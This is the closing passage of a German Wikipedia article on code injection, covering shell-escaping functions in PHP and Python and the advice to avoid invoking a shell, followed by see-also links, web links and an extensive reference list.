<ul><li>PHP: <code><a rel="nofollow" class="external text" href="https://www.php.net/manual/en/function.escapeshellarg.php">escapeshellarg()</a></code> und <code><a rel="nofollow" class="external text" href="https://www.php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()</a></code></li>
<li><a href="Python_(Programmiersprache)" title="Python (Programmiersprache)">Python</a>: <code><a rel="nofollow" class="external text" href="https://docs.python.org/3/library/shlex.html#shlex.quote">shlex.quote()</a></code></li></ul>
<p>Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. Zusätzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen.
</p><p>Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein.
</p>
<div class="mw-heading mw-heading2"><h2 id="Siehe_auch">Siehe auch</h2></div>
<ul><li><a href="Puffer%C3%BCberlauf" title="Pufferüberlauf">Pufferüberlauf</a></li>
<li><a href="Debugging" class="mw-redirect" title="Debugging">Debugging</a></li>
<li><a href="Maschinencode-Monitor" title="Maschinencode-Monitor">Monitor</a></li>
<li><a href="SGML-Entit%C3%A4t" class="mw-redirect" title="SGML-Entität">SGML-Entität</a></li>
<li><a href="SQL-Injection" title="SQL-Injection">SQL-Injection</a></li>
<li><a href="Trojanisches_Pferd_(Computerprogramm)" title="Trojanisches Pferd (Computerprogramm)">Trojanisches Pferd (Computerprogramm)</a></li></ul>
<div class="mw-heading mw-heading2"><h2 id="Weblinks">Weblinks</h2></div>
<ul><li>Robert Kuster: <a rel="nofollow" class="external text" href="https://web.archive.org/web/20041010124514/http://www.codeproject.com/threads/winspy.asp">Drei Wege, Ihren Code in einen anderen Prozess zu injizieren.</a> codeproject.com</li>
<li>A. Danehkar: <a rel="nofollow" class="external text" href="https://web.archive.org/web/20060209035745/http://www.codeproject.com/system/inject2exe.asp">Inject your code to a Portable Executable file.</a> codeproject.com</li>
<li>A. Danehkar: <a rel="nofollow" class="external text" href="https://web.archive.org/web/20070410133521/http://www.codeproject.com/system/inject2it.asp">Injective Code inside Import Table.</a> codeproject.com</li>
<li>Tadeusz Pietraszek, Chris Vanden Berghe: <a rel="nofollow" class="external text" href="https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf">Abwehr von Injection-Attacken durch Context-Sensitive String Evaluation (CSSE).</a> (PDF)</li>
<li><a rel="nofollow" class="external text" href="https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/">Flux breitet sich aus.</a> emsisoft.com – Erstes <a href="Trojanisches_Pferd_(Computerprogramm)" title="Trojanisches Pferd (Computerprogramm)">Trojanisches Pferd</a>, das Code Injection nutzt, um die Erkennung durch eine <a href="Firewall" title="Firewall">Firewall</a> zu verhindern</li>
<li><a rel="nofollow" class="external text" href="https://www.thedailywtf.com/">The Daily WTF</a> berichtet regelmäßig über reale Vorfälle von Anfälligkeit für Code Injection in Software.</li></ul>
<div class="mw-heading mw-heading2"><h2 id="Einzelnachweise">Einzelnachweise</h2></div>
<ol class="references">
<li id="cite_note-1"><span class="mw-cite-backlink"><a href="#cite_ref-1">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20180224034000/http://www.%20upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php"><i>Top 10 Web Application Security Vulnerabilities.</i></a> In: <i>Penn Computing.</i> University of Pennsylvania, archiviert vom <style data-mw-deduplicate="TemplateStyles:r250917974">
/* start https://de.wikipedia.org/ */
.mw-parser-output .dewiki-iconexternal>a{background-position:center right!important;background-repeat:no-repeat!important}body.skin-minerva .mw-parser-output .dewiki-iconexternal>a{background-image:url("./_mw_/OOjs_UI_icon_external-link-ltr-progressive.svg")!important;background-size:10px!important;padding-right:13px!important}body.skin-timeless .mw-parser-output .dewiki-iconexternal>a,body.skin-monobook .mw-parser-output .dewiki-iconexternal>a{background-image:url("./_mw_/MediaWiki_external_link_icon.svg")!important;padding-right:13px!important}body.skin-vector .mw-parser-output .dewiki-iconexternal>a{background-image:url("./_mw_/Link.ernal-small-ltr-progressive.svg")!important;background-size:0.857em!important;padding-right:1em!important}
/* end https://de.wikipedia.org/ */
</style><span class="dewiki-iconexternal"><a class="external text" href="https://redirecter.toolforge.org/?url=https%3A%2F%2Fwww.upenn.edu%2Fcomputing%2Fsecurity%2Fswat%2FSWAT_Top_Ten_A6.php">Original</a></span> am <span style="white-space:nowrap;">24. Februar 2018</span><span>;</span><span class="Abrufdatum"> abgerufen am 10. Dezember 2016</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Top+10+Web+Application+Security+Vulnerabilities&rft.description=Top+10+Web+Application+Security+Vulnerabilities&rft.identifier=https%3A%2F%2Fweb.archive.org%2Fweb%2F20180224034000%2Fhttp%3A%2F%2Fwww.+upenn.edu%2Fcomputing%2Fsecurity%2Fswat%2FSWAT_Top_Ten_A6.php&rft.publisher=University+of+Pennsylvania&rft.source=https://www.upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php&rft.language=en"> </span></span>
</li>
<li id="cite_note-OWASP10_A1-2"><span class="mw-cite-backlink"><a href="#cite_ref-OWASP10_A1_2-0">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/Top_10_2013-A1-Injection"><i>OWASP Top 10 2013 A1: Injection Flaws.</i></a> OWASP,<span class="Abrufdatum"> abgerufen am 19. Dezember 2013</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=OWASP+Top+10+2013+A1%3A+Injection+Flaws&rft.description=OWASP+Top+10+2013+A1%3A+Injection+Flaws&rft.identifier=https%3A%2F%2Fwww.owasp.org%2Findex.php%2FTop_10_2013-A1-Injection&rft.publisher=OWASP&rft.language=en"> </span></span>
</li>
<li id="cite_note-3"><span class="mw-cite-backlink"><a href="#cite_ref-3">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://web.nvd.nist.gov/view/vuln/statistics"><i>NVD - Statistics Search.</i></a> In: <i>web.nvd.nist.gov.</i><span class="Abrufdatum"> Abgerufen am 9. Dezember 2016</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=NVD+-+Statistics+Search&rft.description=NVD+-+Statistics+Search&rft.identifier=https%3A%2F%2Fweb.nvd.nist.gov%2Fview%2Fvuln%2Fstatistics&rft.language=en"> </span></span>
</li>
<li id="cite_note-4"><span class="mw-cite-backlink"><a href="#cite_ref-4">↑</a></span> <span class="reference-text"><span class="cite">Raghunathan Srinivasan: <a rel="nofollow" class="external text" href="https://web.archive.org/web/20100729023112/http://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf"><i>Towards More Effective Virus Detectors.</i></a> In: <i>Arizona State University.</i> Archiviert vom <span class="dewiki-iconexternal"><a class="external text" href="https://redirecter.toolforge.org/?url=https%3A%2F%2Fwww.public.asu.edu%2F%7Ersriniv8%2FDocuments%2Fsrini-das.pdf">Original</a></span> am <span style="white-space:nowrap;">29. Juli 2010</span><span>;</span><span class="Abrufdatum"> abgerufen am 18. September 2010</span> (englisch): „Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.“</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Towards+More+Effective+Virus+Detectors&rft.description=Towards+More+Effective+Virus+Detectors&rft.identifier=https%3A%2F%2Fweb.archive.org%2Fweb%2F20100729023112%2Fhttp%3A%2F%2Fwww.public.asu.edu%2F%7Ersriniv8%2FDocuments%2Fsrini-das.pdf&rft.creator=Raghunathan+Srinivasan&rft.source=https://www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf&rft.language=en"> </span></span>
</li>
<li id="cite_note-5"><span class="mw-cite-backlink"><a href="#cite_ref-5">↑</a></span> <span class="reference-text"><cite class="lang" lang="en" dir="auto" style="font-style:italic">Lecture Notes in Computer Science, Jose Andre Morales, Ravi Sandhu, Shouhuai Xu, Erhan Kartaltepe</cite>. Springer, Berlin / Heidelberg 2010, ISBN 978-3-642-14705-0, Symptoms-Based Detection of Bot Processes, <a href="Digital_Object_Identifier" title="Digital Object Identifier">doi</a>:<span class="uri-handle" style="white-space:nowrap"><a rel="nofollow" class="external text" href="https://doi.org/10.1007/978-3-642-14706-7_18">10.1007/978-3-642-14706-7_18</a></span> (englisch).<span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abookitem&rfr_id=info:sid/de.wikipedia.org:Code-Injektion&rft.atitle=Symptoms-Based+Detection+of+Bot+Processes&rft.btitle=Lecture+Notes+in+Computer+Science%2C+Jose+Andre+Morales%2C+Ravi+Sandhu%2C+Shouhuai+Xu%2C+Erhan+Kartaltepe&rft.date=2010&rft.doi=10.1007%2F978-3-642-14706-7_18&rft.genre=bookitem&rft.isbn=9783642147050&rft.place=Berlin+%2F+Heidelberg&rft.pub=Springer" style="display:none"> </span></span>
</li>
<li id="cite_note-6"><span class="mw-cite-backlink"><a href="#cite_ref-6">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/"><i>Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen.</i></a> In: <i>Rafał Cieślak’s blog.</i> 2. April 2013,<span class="Abrufdatum"> abgerufen am 10. Dezember 2016</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Dynamische+Linker-Tricks%3A+Mit+LD_PRELOAD+schummeln%2C+Funktionen+injizieren+und+Programme+untersuchen&rft.description=Dynamische+Linker-Tricks%3A+Mit+LD_PRELOAD+schummeln%2C+Funktionen+injizieren+und+Programme+untersuchen&rft.identifier=https%3A%2F%2Frafalcieslak.wordpress.com%2F2013%2F04%2F02%2Fdynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs%2F&rft.date=2013-04-02&rft.language=en"> </span></span>
</li>
<li id="cite_note-7"><span class="mw-cite-backlink"><a href="#cite_ref-7">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://docs.oracle.com/javaee/6/tutorial/doc/gjitv.html"><i>The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries.</i></a> Oracle,<span class="Abrufdatum"> abgerufen am 19. Dezember 2013</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=The+Java+EE+6+Tutorial%3A+Chapter+35+Using+the+Criteria+API+to+Create+Queries&rft.description=The+Java+EE+6+Tutorial%3A+Chapter+35+Using+the+Criteria+API+to+Create+Queries&rft.identifier=https%3A%2F%2Fdocs.oracle.com%2Fjavaee%2F6%2Ftutorial%2Fdoc%2Fgjitv.html&rft.publisher=Oracle&rft.language=en"> </span></span>
</li>
<li id="cite_note-types-8"><span class="mw-cite-backlink"><a href="#cite_ref-types_8-0">↑</a></span> <span class="reference-text"><span class="cite">Tom Moertel: <a rel="nofollow" class="external text" href="https://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html"><i>Eine typbasierte Lösung für das "Strings-Problem": ein passendes Ende für XSS- und SQL-Injection-Löcher?</i></a> In: <i>Tom Moertel’s Blog.</i> 18. Oktober 2006,<span class="Abrufdatum"> abgerufen am 21. Oktober 2018</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Eine+typbasierte+L%C3%B6sung+f%C3%BCr+das+%22Strings-Problem%22%3A+ein+passendes+Ende+f%C3%BCr+XSS-+und+SQL-Injection-L%C3%B6cher%3F&rft.description=Eine+typbasierte+L%C3%B6sung+f%C3%BCr+das+%22Strings-Problem%22%3A+ein+passendes+Ende+f%C3%BCr+XSS-+und+SQL-Injection-L%C3%B6cher%3F&rft.identifier=https%3A%2F%2Fblog.moertel.com%2Fposts%2F2006-10-18-a-type-based-solution-to-the-strings-problem.html&rft.creator=Tom+Moertel&rft.date=2006-10-18&rft.language=en"> </span></span>
</li>
<li id="cite_note-9"><span class="mw-cite-backlink"><a href="#cite_ref-9">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/HttpOnly"><i>HttpOnly.</i></a> In: <i>OWASP.</i> 12. November 2014,<span class="Abrufdatum"> abgerufen am 10. Dezember 2016</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=HttpOnly&rft.description=HttpOnly&rft.identifier=https%3A%2F%2Fwww.owasp.org%2Findex.php%2FHttpOnly&rft.date=2014-11-12&rft.language=en"> </span></span>
</li>
<li id="cite_note-10"><span class="mw-cite-backlink"><a href="#cite_ref-10">↑</a></span> <span class="reference-text">Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: <cite class="lang" lang="en" dir="auto" style="font-style:italic">CPM: Masking Code Pointers to Prevent Code Injection Attacks</cite>. In: <cite class="lang" lang="en" dir="auto" style="font-style:italic">ACM Transactions on Information and System Security</cite>. <span style="white-space:nowrap">Band<span style="display:inline-block;width:.2em"> </span>16</span>, <span style="white-space:nowrap">Nr.<span style="display:inline-block;width:.2em"> </span>1</span>, 1. Juni 2013, <a href="Internationale_Standardnummer_f%C3%BCr_fortlaufende_Sammelwerke" title="Internationale Standardnummer für fortlaufende Sammelwerke">ISSN</a> <span style="white-space:nowrap"><a rel="nofollow" class="external text" href="https://zdb-katalog.de/list.xhtml?t=iss%3D%221094-9224%22&key=cql">1094-9224</a></span>, <span style="white-space:nowrap">S.<span style="display:inline-block;width:.2em"> </span>1–27</span>, <a href="Digital_Object_Identifier" title="Digital Object Identifier">doi</a>:<span class="uri-handle" style="white-space:nowrap"><a rel="nofollow" class="external text" href="https://doi.org/10.1145/2487222.2487223">10.1145/2487222.2487223</a></span> (englisch, <a rel="nofollow" class="external text" href="http://fort-knox.org/files/tissec.pdf">Online</a> [PDF]).<span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rfr_id=info:sid/de.wikipedia.org:Code-Injektion&rft.atitle=CPM%3A+Masking+Code+Pointers+to+Prevent+Code+Injection+Attacks&rft.au=Pieter+Philippaerts%2C+Yves+Younan%2C+Stijn+Muylle%2C+...&rft.date=2013-06-01&rft.doi=10.1145%2F2487222.2487223&rft.genre=journal&rft.issn=1094-9224&rft.issue=1&rft.jtitle=ACM+Transactions+on+Information+and+System+Security&rft.pages=1-27&rft.volume=16" style="display:none"> </span></span>
</li>
<li id="cite_note-HopeWalther-11"><span class="mw-cite-backlink"><a href="#cite_ref-HopeWalther_11-0">↑</a></span> <span class="reference-text">Brian Hope, Paco Hope, Ben Walther: <cite class="lang" lang="en" dir="auto" style="font-style:italic">Web Security Testing Cookbook</cite>. O’Reilly Media, Sebastopol CA 2009, ISBN 978-0-596-51483-9, <span style="white-space:nowrap">S.<span style="display:inline-block;width:.2em"> </span>254</span> (englisch, <a rel="nofollow" class="external text" href="https://archive.org/details/websecuritytesti00hope/page/254/mode/1up">Online</a>).<span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rfr_id=info:sid/de.wikipedia.org:Code-Injektion&rft.au=Brian+Hope%2C+Paco+Hope%2C+Ben+Walther&rft.btitle=Web+Security+Testing+Cookbook&rft.date=2009&rft.genre=book&rft.isbn=9780596514839&rft.pages=254&rft.place=Sebastopol+CA&rft.pub=O%E2%80%99Reilly+Media" style="display:none"> </span></span>
</li>
<li id="cite_note-12"><span class="mw-cite-backlink"><a href="#cite_ref-12">↑</a></span> <span class="reference-text"><span class="cite">Steven M. Christey: <a rel="nofollow" class="external text" href="https://seclists.org/fulldisclosure/2006/May/35"><i>Dynamische Auswertungsschwachstellen in PHP-Anwendungen.</i></a> 3. Mai 2006,<span class="Abrufdatum"> abgerufen am 21. Oktober 2018</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Dynamische+Auswertungsschwachstellen+in+PHP-Anwendungen&rft.description=Dynamische+Auswertungsschwachstellen+in+PHP-Anwendungen&rft.identifier=https%3A%2F%2Fseclists.org%2Ffulldisclosure%2F2006%2FMay%2F35&rft.creator=Steven+M.+Christey&rft.date=2006-05-03&rft.language=en"> </span></span>
</li>
<li id="cite_note-13"><span class="mw-cite-backlink"><a href="#cite_ref-13">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://uk3.php.net/manual/en/function.unserialize.php"><i>Unserialize function warnings.</i></a> PHP.net,<span class="Abrufdatum"> abgerufen am 20. Januar 2023</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Unserialize+function+warnings&rft.description=Unserialize+function+warnings&rft.identifier=https%3A%2F%2Fuk3.php.net%2Fmanual%2Fen%2Ffunction.unserialize.php&rft.publisher=PHP.net&rft.language=en"> </span></span>
</li>
<li id="cite_note-14"><span class="mw-cite-backlink"><a href="#cite_ref-14">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability"><i>Analyse der Joomla PHP Object Injection Vulnerability.</i></a><span class="Abrufdatum"> Abgerufen am 6. Juni 2014</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Analyse+der+Joomla+PHP+Object+Injection+Vulnerability&rft.description=Analyse+der+Joomla+PHP+Object+Injection+Vulnerability&rft.identifier=http%3A%2F%2Fkarmainsecurity.com%2Fanalysis-of-the-joomla-php-object-injection-vulnerability&rft.language=en"> </span></span>
</li>
<li id="cite_note-15"><span class="mw-cite-backlink"><a href="#cite_ref-15">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://www.owasp.org/index.php/Command_Injection"><i>Command Injection.</i></a> OWASP,<span class="Abrufdatum"> abgerufen am 20. Januar 2023</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Command+Injection&rft.description=Command+Injection&rft.identifier=https%3A%2F%2Fwww.owasp.org%2Findex.php%2FCommand_Injection&rft.publisher=OWASP&rft.language=en"> </span></span>
</li>
<li id="cite_note-16"><span class="mw-cite-backlink"><a href="#cite_ref-16">↑</a></span> <span class="reference-text">Douglas W. Jones, CS:3620 Notes, <a rel="nofollow" class="external text" href="http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml">Lecture 4 – Shell Scripts</a>, Spring 2018.</span>
</li>
<li id="cite_note-17"><span class="mw-cite-backlink"><a href="#cite_ref-17">↑</a></span> <span class="reference-text"><a rel="nofollow" class="external text" href="https://linux.die.net/man/3/system">system(3) – Linux man page.</a> linux.die.net</span>
</li>
<li id="cite_note-18"><span class="mw-cite-backlink"><a href="#cite_ref-18">↑</a></span> <span class="reference-text"><a rel="nofollow" class="external text" href="http://msdn.microsoft.com/en-us/library/92699yzt.aspx">Overloads.</a> <a href="MSDN" class="mw-redirect" title="MSDN">MSDN</a>.</span>
</li>
<li id="cite_note-19"><span class="mw-cite-backlink"><a href="#cite_ref-19">↑</a></span> <span class="reference-text"><span class="cite"><a rel="nofollow" class="external text" href="https://archive.today/20150227081226/http://blackhat.life/Command_Injection"><i>Command Injection.</i></a> Archiviert vom <span class="dewiki-iconexternal"><a class="external text" href="https://redirecter.toolforge.org/?url=https%3A%2F%2Fblackhat.life%2FCommand_Injection">Original</a></span> am <span style="white-space:nowrap;">27. Februar 2015</span><span>;</span><span class="Abrufdatum"> abgerufen am 27. Februar 2015</span> (englisch).</span><span style="display: none;" class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&rfr_id=info%3Asid%2Fde.wikipedia.org%3ACode-Injektion&rft.title=Command+Injection&rft.description=Command+Injection&rft.identifier=https%3A%2F%2Farchive.is%2F20150227081226%2Fhttp%3A%2F%2Fblackhat.life%2FCommand_Injection&rft.source=https://blackhat.life/Command_Injection&rft.language=en"> </span></span>
</li>
</ol></div><!--htdig_noindex--><div><div class="zim-footer">
Dieser Artikel wurde von <a class="external text" title="Zuletzt bearbeitet am 2025-05-14" href="https://de.wikipedia.org/wiki/?title=Code-Injektion&oldid=256001488">Wikipedia</a> herausgegeben. Der Text ist unter <a class="external text" href="https://creativecommons.org/licenses/by-sa/4.0/deed.de">Creative Commons Attribution-Share Alike 4.0</a> verfügbar, sofern nicht anders angegeben. Für die Mediendateien können zusätzliche Bedingungen gelten.
</div>
</div><!--/htdig_noindex--></div>
</div>
</main>
</div>
</div>
</div>
<script src="./_webp_/webpHandler.js"></script>
</body></html>